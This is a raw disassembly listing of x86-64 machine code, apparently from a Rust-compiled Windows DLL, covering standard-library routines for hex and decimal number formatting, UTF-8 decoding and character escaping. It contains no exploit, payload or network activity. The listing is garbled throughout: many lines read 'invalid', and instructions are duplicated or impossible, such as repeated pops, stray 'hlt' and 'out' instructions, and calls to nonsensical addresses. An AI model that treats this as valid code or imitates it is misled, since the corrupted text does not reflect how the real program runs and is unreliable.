mov dl, 1
xor r9d, r9d
call fcn.180020560
nop
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
push rbp
sub rsp, 0xb0
lea rbp, [rsp + 0x80]
movzx r8d, word [rcx]
mov eax, 0x81
nop dword [rax]
movzx r9d, r8w
mov r8d, r9d
shr r8d, 4
mov ecx, r9d
and cl, 0xf
lea r10d, [rcx + 0x30]
lea r11d, [rcx + 0x57]
cmp cl, 0xa
movzx ecx, r10b
movzx r10d, r11b
cmovb r10d, ecx
mov rcx, rax
mov byte [rbp + rax - 0x52], r10b
dec rax
cmp r9w, 0x10
jae 0x180025bf0
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x180025c73
push rbp
sub rsp, 0x60
lea rbp, [rsp + 0x60]
movzx r8d, cx
cmp r8d, 0x2710
jb 0x180026d18
shr r8d, 4
imul r8d, r8d, 0x347
shr r8d, 0x13
imul eax, r8d, 0x2710
sub ecx, eax
movzx eax, cx
imul eax, eax, 0x147b
shr eax, 0x13
imul r9d, eax, 0x64
sub ecx, r9d
movzx ecx, cx
lea r9, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990000000000000000000000000000000000000000000000000000000000000000
movzx eax, word [r9 + rax*2]
mov word [rbp - 4], ax
movzx eax, word [r9 + rcx*2]
mov word [rbp - 2], ax
mov eax, 0x23
mov ecx, r8d
jmp 0x180026d58
mov eax, 0x27
cmp cx, 0x64
jb 0x180026d52
shr r8d, 2
imul r8d, r8d, 0x147b
shr r8d, 0x11
imul eax, r8d, 0x64
sub ecx, eax
movzx eax, cx
lea rcx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990000000000000000000000000000000000000000000000000000000000000000
movzx eax, word [rcx + rax*2]
mov word [rbp - 2], ax
mov eax, 0x25
mov ecx, r8d
cmp cx, 0xa
jae 0x180026d64
or cl, 0x30
mov byte [rbp + rax - 0x28], cl
dec rax
jmp 0x180026d7c
movzx ecx, cx
lea r8, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990000000000000000000000000000000000000000000000000000000000000000
movzx ecx, word [r8 + rcx*2]
mov word [rbp + rax - 0x29], cx
add rax, 0xfffffffffffffffe
lea rcx, [rax + rbp]
add rcx, 0xffffffffffffffd9
mov r8d, 0x27
sub r8, rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rcx
lea r8, [0x180081690]
mov rcx, rdx
mov dl, 1
xor r9d, r9d
call fcn.180020560
nop
add rsp, 0x60
pop rbp
ret
push rbp
sub rsp, 0xb0
lea rbp, [rsp + 0x80]
mov rax, rcx
mov r9d, 0x81
mov r8, rcx
nop dword [rax]
mov rcx, r9
shr r8, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
lea r9, [rcx - 1]
cmp rax, 0x10
mov rax, r8
jae 0x180026fc0
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x18002703f
mov eax, 0x81
sub rax, r9
add rcx, rbp
add rcx, 0xffffffffffffffb0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x18007b53b]
mov r9d, 2
mov rcx, rdx
mov dl, 1
call fcn.180020560
nop
add rsp, 0xb0
pop rbp
ret
lea r8, [0x1800715b8]
mov edx, 0x80
call fcn.180069790
int3
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x55eee
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
nop
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
invalid
mov rsi, qword [rbp - 8]
cmp rcx, 1
jne 0x18002771d
invalid
sub al, 0x80
jge 0x1800276f5
cmp byte [rbp + 1], 0
add byte [rsi + riz - 0xa], dh
xor al, 4
je 0x18002771d
test byte [rsi + 0x34], 4
jne 0x18002771d
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
adc eax, 0x53a64
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x180027739
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._HRESULT_
mov r8d, 1
call qword [rax + 0x18]
jmp 0x180027739
test al, al
setne al
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop rbp
ret
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov r14, r9
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
mov rax, qword [r9 + 0x20]
mov rcx, r8
mov ecx, eax
mov edx, 0x22
mov qword [rbp - 0x20], rax
invalid
loopne 0x180027781
call rax
test al, al
rol byte [rax + rax*8 + 0x1b01374], 1
je 0x18002779a
mov al, 1
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
test rsi, rsi
je 0x1800279eb
mov qword [rbp - 0x18], r14
lea rax, [rbx + rsi]
mov qword [rbp - 0x40], rax
xor r12d, r12d
mov qword [rbp - 0x10], rbx
xor r15d, r15d
mov qword [rbp - 0x38], rsi
jne 0x180027785
jne 0x180027785
jmp 0x1800277e0
add r12, r15
mov rsi, qword [rbp - 0x38]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
sub r15, r14
add r15, rbx
add edi, ebx
invalid
invalid
pop rbp
sub r15, r14
add r15, rbx
add edi, ebx
add edi, ebx
cmp rbx, qword [rbp - 0x40]
je case.0x18001a336.129
add byte [rax], al
ror byte [rdi], 0x84
add r8b, byte [r8]
add byte [rax], al
mov r14, rbx
movzx r13d, byte [rbx]
movzx ebp, byte [rbx]
test r13b, r13b
add byte [rax], al
mov r14, rbx
movzx r13d, byte [rbx]
movzx ebp, byte [rbx]
movzx ebp, byte [rbx]
test r13b, r13b
test ch, ch
js 0x180027800
lea rbx, [r14 + 1]
pop rsi
add ebx, ebp
jle 0x180027859
jmp 0x180027870
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x18], al
mov eax, r13d
and eax, 0x1f
movzx edx, byte [r14 + 1]
invalid
and edx, 0x3f
cmp r13b, 0xdf
cmp ch, 0xdf
cmp ch, 0xdf
jbe 0x180027855
lea rbx, [r14 + 3]
lea ebx, [rsi + 3]
movzx ecx, byte [r14 + 2]
shl edx, 6
and ecx, 0x3f
or ecx, edx
cmp r13b, 0xf0
jb 0x180027863
invalid
movzx r13d, byte [rbx]
and eax, 7
shl eax, 0x12
shl ecx, 6
and r13d, 0x3f
or r13d, ecx
or r13d, eax
cmp r13d, 0x110000
je case.0x18001a336.129
lea rbx, [r14 + 4]
jmp 0x180027870
lea rbx, [r14 + 2]
shl eax, 6
or eax, edx
mov r13d, eax
jmp 0x180027870
shl eax, 0xc
or ecx, eax
mov r13d, ecx
nop dword [rax + rax]
lea rcx, [rbp - 0x2c]
mov edx, r13d
mov r8d, 0x10001
call fcn.180027ab0
cmp byte [rbp - 0x2c], 0x80
je 0x1800277d0
movzx eax, byte [rbp - 0x21]
sub al, byte [rbp - 0x22]
cmp al, 1
je 0x1800277d0
mov r8, r15
sub r8, r12
jb 0x180027a87
test r12, r12
je 0x1800278c7
cmp r12, rsi
jae 0x1800278c1
mov rax, qword [rbp - 0x10]
cmp byte [rax + r12], 0xc0
jge 0x1800278c7
jmp 0x180027a87
add byte [rdi], cl
jne 0x180027a87
test eax, eax
add dword [rax], eax
add byte [rbp - 0x7b], cl
push qword [rbx + rbx + 0x49]
cmp r15, rsi
test r15, r15
je 0x1800278e7
cmp r15, rsi
jae 0x1800278e1
mov rax, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
cmp byte [rax + r15], 0xbf
jg 0x1800278e7
jmp 0x180027a87
add byte [rax], al
jne 0x180027a87
add r12, qword [rbp - 0x10]
add esp, dword [rbp - 0x10]
invalid
mov rcx, rdi
mov rdx, r12
mov edx, esp
mov edx, esp
mov rax, qword [rbp - 0x18]
call qword [rax + 0x18]
test al, al
ror byte [rdi], 0x85
xchg esi, edi
invalid
invalid
call 0x1041ac9f8
ror byte [rdi], 0x85
xchg esi, edi
invalid
mov eax, dword [rbp - 0x24]
mov dword [rbp], eax
mov rax, qword [rbp - 0x2c]
mov qword [rbp - 8], rax
cmp al, 0x80
jne 0x18002796d
mov sil, 0x80
mov dh, 0x80
jmp 0x180027942
add byte [rax], al
add byte [rax], al
mov edx, dword [rbp - 4]
mov dword [rbp], 0
mov qword [rbp - 8], 0
clc
add byte [rax], al
add byte [rax], al
clc
add byte [rax], al
add byte [rax], al
xor esi, esi
mov rcx, rdi
call qword [rbp - 0x20]
test al, al
jne 0x180027787
cmp sil, 0x80
je 0x180027920
movzx r12d, byte [rbp + 2]
cmp r12b, byte [rbp + 3]
jae 0x1800279af
lea eax, [r12 + 1]
mov byte [rbp + 2], al
cmp r12b, 0xa
jae 0x180027a73
movzx edx, byte [rbp + r12 - 8]
jmp 0x180027934
movzx esi, byte [rbp + 3]
movzx r12d, byte [rbp + 2]
nop word cs:[rax + rax]
cmp r12, rsi
jae 0x1800279af
lea eax, [r12 + 1]
mov byte [rbp + 2], al
cmp r12, 9
ja 0x180027a73
movzx edx, byte [rbp + r12 - 8]
mov rcx, rdi
call qword [rbp - 0x20]
inc r12
test al, al
je 0x180027980
jmp 0x180027787
inc dword [rcx - 0x44]
add dword [rax], eax
add byte [rax], al
mov r12d, 1
cmp r13d, 0x80
jb 0x1800277bf
add byte [rax], 0
add byte [rdi], cl
invalid
mov r12d, 2
cmp r13d, 0x800
add byte [rax], cl
add byte [rax], al
add byte [rax], cl
add byte [rax], al
jb 0x1800277bf
cmp r13d, 0x10000
cmp ebp, 0x10000
std
add byte [rax], al
add dword [rax], eax
mov r12d, 4
add byte [rax], al
add byte [rcx - 0x7d], cl
fadd qword [rax]
add byte [rax], al
sbb r12, 0
jmp 0x1800277bf
invalid
xor eax, eax
sub rsi, rax
add rbx, rax
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call qword [r14 + 0x18]
call qword [rsi + 0x18]
call qword [rsi + 0x18]
test al, al
jne 0x180027787
invalid
dec dword [rax - 0x77]
mov rcx, rdi
stc
mov edx, 0x22
mov rax, qword [rbp - 0x20]
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp rax
test r12, r12
je 0x180027a45
cmp r12, rsi
mov rbx, qword [rbp - 0x10]
mov r14, qword [rbp - 0x18]
mov esi, dword [rbp - 0x18]
pop rbp
invalid
mov esi, dword [rbp - 0x18]
jae case.0x18001e8df.117
cmp byte [rbx + r12], 0xbf
jle 0x180027a56
cmp al, 0x23
mov edi, 0x894c167e
mov eax, esp
invalid
mov rax, r12
mov eax, esp
jmp 0x1800279ed
test al, 0x31
ror byte [rax - 0x75], 0x5d
mov rbx, qword [rbp - 0x10]
xor eax, eax
mov rbx, qword [rbp - 0x10]
mov r14, qword [rbp - 0x18]
jmp 0x1800279ed
mov rax, rsi
je 0x1800279ed
lea rax, [0x1800716d8]
add al, 0
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rsi
mov r8, r12
mov r9, rsi
call fcn.180069d00
lea r8, str.librarycore_srcescape.rs
mov edx, 0xa
mov rcx, r12
call fcn.1800697a0
lea rax, [0x1800716f0]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp - 0x10]
mov rdx, rsi
mov r8, r12
mov r9, r15
call fcn.180069d00
int3
lea r9, [0x18008256c]
movsxd rax, dword [r9 + rax*4]
add rax, r9
jmp rax
mov word [rcx], 0x305c
jmp 0x180027cda
invalid
add byte [rbx + 0xa755cfa], al
cli
pop rsp
jne case.0x180027ad1.1
mov word [rcx], 0x5c5c
jmp 0x180027cda
out dx, al
add dword [rax], eax
invalid
out dx, al
add dword [rax], eax
add byte [rcx + 0x80fa], al
invalid
cli
add byte [rax], 0
cmp edx, 0x80
jb 0x180027c18
add byte [rax], 0
add byte [rdi], cl
invalid
and r8d, 1
je 0x180027c18
add dword [rdi], ecx
test byte [rsi], dl
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
mov rsi, rcx
mov ecx, edx
mov edi, edx
call fcn.180028390
mov edx, edi
cli
or byte [rax], al
add byte [rcx - 0xe76b706], cl
cli
mov rcx, rsi
cli
mov rcx, rsi
test al, al
je 0x180027c18
mov byte [rbp - 0xa], 0
mov word [rbp - 0xc], 0
mov byte [rbp - 3], 0x7d
mov r8d, edx
shr r8d, 0x14
and r8d, 0xf
lea rax, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
movzx r8d, byte [r8 + rax]
mov byte [rbp - 9], r8b
mov r8d, edx
shr r8d, 0x10
and r8d, 0xf
movzx r8d, byte [r8 + rax]
mov byte [rbp - 8], r8b
mov r8d, edx
shr r8d, 0xc
and r8d, 0xf
movzx r8d, byte [r8 + rax]
mov byte [rbp - 7], r8b
mov r8d, edx
shr r8d, 8
and r8d, 0xf
movzx r8d, byte [r8 + rax]
mov byte [rbp - 6], r8b
mov r8d, edx
shr r8d, 4
and r8d, 0xf
movzx r8d, byte [r8 + rax]
mov byte [rbp - 5], r8b
mov r8d, edx
and r8d, 0xf
movzx eax, byte [r8 + rax]
mov byte [rbp - 4], al
or edx, 1
bsr eax, edx
xor eax, 0x1c
shr eax, 2
lea rdx, [rax - 2]
mov byte [rbp + rax - 0xc], 0x7b
mov word [rbp + rax - 0xe], 0x755c
movzx eax, word [rbp - 4]
mov word [rcx + 8], ax
mov rax, qword [rbp - 0xc]
hlt
mov qword [rcx], rax
mov byte [rcx + 0xa], dl
mov byte [rcx + 0xb], 0xa
jmp 0x180027ce8
hlt
add byte [rcx], al
add byte [rax], al
je 0x180027c18
mov word [rcx], 0x275c
jmp 0x180027cda
invalid
mov rsi, rcx
mov edi, edx
mov ecx, edx
call fcn.180028250
test al, al
je 0x180027c33
mov byte [rsi], 0x80
mov dword [rsi + 4], edi
jmp 0x180027ce8
mov byte [rbp - 0x16], 0
mov word [rbp - 0x18], 0
mov byte [rbp - 0xf], 0x7d
mov eax, edi
mov edx, edi
shr edx, 0x14
and edx, 0xf
lea rcx, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
movzx edx, byte [rdx + rcx]
mov byte [rbp - 0x15], dl
mov edx, edi
shr edx, 0x10
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 0x14], dl
mov edx, edi
shr edx, 0xc
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 0x13], dl
mov edx, edi
shr edx, 8
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 0x12], dl
mov edx, edi
shr edx, 4
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 0x11], dl
mov edx, edi
and edx, 0xf
movzx ecx, byte [rdx + rcx]
mov byte [rbp - 0x10], cl
or eax, 1
bsr eax, eax
xor eax, 0x1c
shr eax, 2
lea rcx, [rax - 2]
mov byte [rbp + rax - 0x18], 0x7b
mov word [rbp + rax - 0x1a], 0x755c
movzx eax, word [rbp - 0x10]
mov word [rsi + 8], ax
mov rax, qword [rbp - 0x18]
mov qword [rsi], rax
mov byte [rsi + 0xa], cl
mov byte [rsi + 0xb], 0xa
jmp 0x180027ce8
mov qword [rcx + 2], 0
mov word [rcx + 0xa], 0x200
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
push rbp
push rsi
push rdi
sub rsp, 0xc0
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x30], xmm6
mov rsi, rdx
movdqu xmm6, xmmword [rdx]
mov edi, dword [rdx + 0x34]
mov eax, edi
test dil, 4
je 0x180028726
mov eax, edi
or eax, 8
movq rdx, xmm6
test rdx, rdx
jne 0x180028726
mov qword [rsi], 1
mov qword [rsi + 8], 0x12
or eax, 4
mov dword [rsi + 0x34], eax
mov r8d, 0x81
mov rdx, rcx
nop word cs:[rax + rax]
mov rax, r8
shr rdx, 4
mov r8d, ecx
and r8b, 0xf
lea r9d, [r8 + 0x30]
lea r10d, [r8 + 0x57]
cmp r8b, 0xa
movzx r8d, r9b
movzx r9d, r10b
cmovb r9d, r8d
mov byte [rbp + rax - 0x52], r9b
lea r8, [rax - 1]
cmp rcx, 0x10
mov rcx, rdx
jae 0x180028740
add rax, 0xfffffffffffffffe
cmp rax, 0x81
jae 0x1800287ca
mov ecx, 0x81
sub rcx, r8
add rax, rbp
add rax, 0xffffffffffffffb0
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r8, [0x18007b53b]
mov r9d, 2
mov rcx, rsi
mov dl, 1
call fcn.180020560
movdqu xmmword [rsi], xmm6
mov dword [rsi + 0x34], edi
movaps xmm6, xmmword [rbp + 0x30]
add rsp, 0xc0
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1800715b8]
mov edx, 0x80
mov rcx, rax
call fcn.180069790
int3
push rbp
sub rsp, 0xb0
lea rbp, [rsp + 0x80]
mov eax, ecx
mov r9d, 0x81
mov r8d, ecx
nop dword [rax + rax]
mov rcx, r9
mov r9d, eax
and r9b, 0xf
shr r8b, 4
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
lea r9, [rcx - 1]
cmp al, 0x10
mov eax, r8d
jae 0x180029120
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x18002919d
mov eax, 0x81
sub rax, r9
add rcx, rbp
add rcx, 0xffffffffffffffb0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x18007b53b]
mov r9d, 2
mov rcx, rdx
mov dl, 1
call fcn.180020560
nop
add rsp, 0xb0
pop rbp
ret
lea r8, [0x1800715b8]
mov edx, 0x80
call fcn.180069790
int3
mov qword [rsp + 0x38], 3
mov rcx, rax
mov r9d, 0x64
jmp 0x1800292cc
or eax, 0x4884b
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r9
mov qword [rsp + 0x20], r10
and al, 0x20
and al, 0x20
mov qword [rsp + 0x38], 2
mov rcx, rax
mov rdx, r8
xor r8d, r8d
mov r9d, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
call fcn.1800292e0
nop
add rsp, 0x40
add byte [rax + 0x40c48348], dl
pop rbp
ret
mov rbx, qword [rbp + 0xa8]
mov r14, qword [rbp + 0xa0]
mov rdi, qword [rbp + 0x98]
mov rcx, qword [rbp + 0x90]
mov ecx, dword [rbp + 0x90]
mov qword [rbp - 0x18], rcx
mov qword [rbp - 0x10], rdi
mov qword [rbp - 0x28], r14
jne 0x180029304
mov qword [rbp - 0x20], rbx
movabs rcx, 0x3030303030303030
xor byte [rax], dh
mov qword [rbp + 0x18], rcx
mov byte [rbp + 0x20], 0x30
and byte [rax], dh
mov r10, qword [rsi + 0x10]
test eax, eax
je 0x180029569
test r10, r10
mov rcx, qword [rsi + 0x18]
mov r11d, 9
cmovne r11, rcx
test r11, r11
je 0x180029575
xor edx, edx
div r9d
add al, 0x30
mov byte [rbp + 0x18], al
test edx, edx
je 0x18002959b
mov r15d, r9d
mov r12d, 0xcccccccd
imul r12, r15
shr r12, 0x23
cmp r11, 1
je 0x180029511
cmp r9d, 0xa
jb 0x180029869
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rbp + 0x19], al
test edx, edx
je 0x1800295a3
imul r12, r15, 0x51eb851f
shr r12, 0x25
cmp r11, 2
je 0x180029511
cmp r9d, 0x64
jb 0x180029869
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rbp + 0x1a], al
test edx, edx
je 0x1800295ab
imul r12, r15, 0x10624dd3
shr r12, 0x26
cmp r11, 3
je 0x180029511
cmp r9d, 0x3e8
jb 0x180029869
call 0x18f029406
invalid
mov eax, edx
xor edx, edx
div r12d
hlt
add al, 0x30
mov byte [rbp + 0x1b], al
hlt
test edx, edx
je 0x1800295b3
mov r12d, 0xd1b71759
imul r12, r15
scasd eax, dword [rdi]
out 0x49, eax
shr esp, 0x2d
scasd eax, dword [rdi]
out 0x49, eax
shr esp, 0x2d
cmp r11, 4
je 0x180029511
sti
add al, 0xf
test ch, bl
add byte [rax], al
add byte [rcx - 0x7f], al
stc
adc byte [rdi], ah
add byte [rax], al
cmp r9d, 0x2710
jb 0x180029869
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rbp + 0x1c], al
test edx, edx
je 0x1800295bb
mov eax, r9d
shr eax, 5
imul r12, rax, 0xa7c5ac5
shr r12, 0x27
cmp r11, 5
je 0x180029511
cmp r9d, 0x186a0
jb 0x180029869
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rbp + 0x1d], al
test edx, edx
je 0x1800295c3
imul r12, r15, 0x431bde83
shr r12, 0x32
cmp r11, 6
je 0x180029511
cmp r9d, 0xf4240
jb 0x180029869
mov eax, edx
xor edx, edx
div r12w
add al, 0x30
mov byte [rbp + 0x1e], al
test dx, dx
je 0x1800295cb
imul r12, r15, 0x6b5fca6b
shr r12, 0x36
cmp r11, 7
je 0x18002950e
cmp r9d, 0x989680
jb 0x180029869
mov eax, edx
xor edx, edx
div r12w
hlt
add al, 0x30
mov byte [rbp + 0x1f], al
test dx, dx
je 0x1800295d3
hlt
imul r12, r15, 0x55e63b89
shr r12, 0x39
cmp r11, 8
jne 0x1800295db
movzx edx, dx
mov qword [rbp + 0x10], r11
mov dword [rbp + 0x10], ebx
lea eax, [r12 + r12*4]
cmp edx, eax
jb 0x1800295ff
lea rax, [r11 - 1]
mov edx, 0x30
add byte [rax], al
add byte [rax], al
nop word [rax + rax]
mov r12, rax
movzx r9d, byte [rbp + rax + 0x18]
lea r13d, [r9 + 1]
add rax, 0xffffffffffffffff
setb r15b
movzx r13d, r13b
movzx ebp, ch
movzx ebp, ch
cmp r9b, 0x39
cmovae r13d, edx
mov byte [rbp + r12 + 0x18], r13b
jb 0x18002955d
test r15b, r15b
jne case.0x18000b84e.171
invalid
rol dword [rcx - 0x80], cl
stc
cmp byte [rdi], cl
xchg byte [rax - 0x15000000], bl
add byte [rax], al
add bl, ch
cmp r9b, 0x38
jbe 0x1800295ff
add byte [rax], al
invalid
add byte [rax], al
add bl, ch
jmp 0x18002958a
and dword [rax - 0x75], ecx
sbb byte [rbp + 0x31], r8b
sbb byte [rbp + 0x31], al
mov rcx, qword [rsi + 0x18]
xor r11d, r11d
jmp 0x1800295fb
invalid
sbb byte [rbp + 0x31], al
fucomi st(1)
xchg byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x39], cl
adc byte [r8], r8b
add byte [rax], al
mov qword [rbp + 0x10], 0
lea edx, [r9 + r9*4]
add byte [rbx - 0x73], al
adc al, 0x89
cmp edx, eax
jbe 0x18002958a
invalid
add eax, 0xebdb3145
jne 0x1800295d4
xor r11d, r11d
jmp 0x1800295ff
inc r8
inc eax
jne 0x1800295ff
mov qword [rbp], 0
mov al, 1
jmp 0x18002960d
mov r11d, 1
jmp 0x1800295fb
mov r11d, 2
jmp 0x1800295fb
mov r11d, 3
jmp 0x1800295fb
mov r11d, 4
jmp 0x1800295fb
mov r11d, 5
jmp 0x1800295fb
mov r11d, 6
jmp 0x1800295fb
mov r11d, 7
jmp 0x1800295fb
mov r11d, 8
mov ebx, 8
jmp 0x1800295fb
cmp r9d, 0x5f5e100
jb 0x180029869
mov eax, edx
xor edx, edx
div r12w
add al, 0x30
mov byte [rbp + 0x20], al
mov r11d, 9
mov qword [rbp + 0x10], r11
mov qword [rbp + 8], r8
mov qword [rbp], 1
xor eax, eax
cmp rcx, 9
mov r9d, 9
cmovb r9, rcx
leave
leave
test r10, r10
cmove r9, r11
mov qword [rbp - 8], r9
mov rdx, rbp
mov qword [rbp - 0x58], rdx
mov dword [rbp - 0x58], edx
lea rdx, [rbp - 0x18]
mov qword [rbp - 0x50], rdx
call 0x130581f7d
lea rdx, [rbp - 8]
clc
mov qword [rbp - 0x48], rdx
lea rdx, [rbp + 0x18]
mov qword [rbp - 0x40], rdx
lea rdx, [rbp + 0x10]
mov qword [rbp - 0x38], rdx
lea rdx, [rbp - 0x28]
mov qword [rbp - 0x30], rdx
cmp qword [rsi], 0
je 0x1800297bb
sbb byte [rax - 0x77], cl
push rbp
ror byte [rax - 0x73], 0x55
adc byte [rax - 0x77], cl
push rbp
enter 0xffffffffffff8d48, 0x55
fmul dword [rax - 0x77]
push rbp
ror byte [rax - 0x7d], 1
add byte ds:[rdi], cl
test byte [rcx + rax], bl
add byte [rax - 0x7d], cl
sti
add dword [rbp + 7], esi
cmp rbx, 1
jne 0x18002966c
xor r15d, r15d
xor edx, edx
jmp 0x1800296d0
mov edx, ebx
and edx, 0x1e
pxor xmm0, xmm0
xor r15d, r15d
movdqa xmm1, xmmword [0x18006c690]
movdqa xmm2, xmmword [0x18006c6a0]
nop dword [rax + rax]
movzx r12d, word [r14 + r15]
movd xmm3, r12d
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add r15, 2
cmp rdx, r15
jne 0x180029690
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r15, xmm1
cmp rdx, rbx
je 0x1800296e7
xor r12d, r12d
cmp byte [r14 + rdx], 0xc0
setge r12b
add r15, r12
inc rdx
cmp rbx, rdx
jne 0x1800296d0
mov r14, qword [rsi + 8]
add r15, rdi
test al, al
je 0x1800296fb
add r15, 0x14
jmp 0x180029789
test r8, r8
je 0x180029786
mov rdi, r8
movabs rdx, 0xdbe6fecebdedd5bf
mov rax, r8
mul rdx
shr rdi, 0xa
shr rdx, 0x21
xor eax, eax
cmp rdi, 0x9502f9
mov edi, 0xa
cmovb edi, eax
cmovb rdx, r8
cmp rdx, 0x186a0
jb 0x180029758
shr rdx, 5
movabs r8, 0xa7c5ac471b47843
mov rax, rdx
mul r8
shr rdx, 7
or edi, 5
lea eax, [rdx + 0x5fff6]
lea r8d, [rdx + 0x7ff9c]
and r8d, eax
lea eax, [rdx + 0xdfc18]
add edx, 0x7d8f0
and edx, eax
xor edx, r8d
shr edx, 0x11
add edx, edi
add r15, rdx
inc r15
jmp 0x180029789
inc r15
test r10, r10
cmove rcx, r11
inc rcx
test r9, r9
cmove rcx, r9
add rcx, r15
sub r14, rcx
jbe 0x1800297bb
movzx eax, byte [rsi + 0x38]
lea rcx, [0x18008260c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor r12d, r12d
jmp 0x1800297e0
lea rcx, [rbp - 0x58]
mov rdx, rsi
call fcn.180029880
jmp 0x180029855
mov r12, r14
xor r14d, r14d
jmp 0x1800297e0
mov r12, r14
shr r12, 1
inc r14
shr r14, 1
mov rdi, qword [rsi + 0x20]
mov r15, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x30]
inc r12
nop
dec r12
je 0x180029804
mov rcx, rdi
mov edx, ebx
call qword [r15 + 0x20]
test al, al
je 0x1800297f0
jmp 0x180029814
lea rcx, [rbp - 0x58]
mov rdx, rsi
call fcn.180029880
test al, al
je 0x180029818
mov al, 1
jmp 0x180029855
mov r12, r14
neg r12
mov rsi, 0xffffffffffffffff
nop word cs:[rax + rax]
lea rax, [r12 + rsi]
cmp rax, 0xffffffffffffffff
je 0x18002984c
mov rcx, rdi
mov edx, ebx
call qword [r15 + 0x20]
inc rsi
test al, al
je 0x180029830
jmp 0x18002984f
mov rsi, r14
cmp rsi, r14
setb al
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x180071b10]
call fcn.180069a10
int3
push rbp
sub rsp, 0xb0
lea rbp, [rsp + 0x80]
mov eax, ecx
mov r9d, 0x81
mov r8d, ecx
nop dword [rax + rax]
mov rcx, r9
shr r8d, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
lea r9, [rcx - 1]
cmp eax, 0x10
mov eax, r8d
jae 0x180029ad0
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x180029b4e
mov eax, 0x81
sub rax, r9
add rcx, rbp
add rcx, 0xffffffffffffffb0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x18007b53b]
mov r9d, 2
mov rcx, rdx
mov dl, 1
call fcn.180020560
nop
add rsp, 0xb0
pop rbp
ret
lea r8, [0x1800715b8]
mov edx, 0x80
call fcn.180069790
int3
push rbp
sub rsp, 0xb0
lea rbp, [rsp + 0x80]
movzx eax, byte [rcx]
mov r9d, 0x81
mov r8d, eax
nop dword [rax]
mov rcx, r9
mov r9d, eax
and r9b, 0xf
shr r8b, 4
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
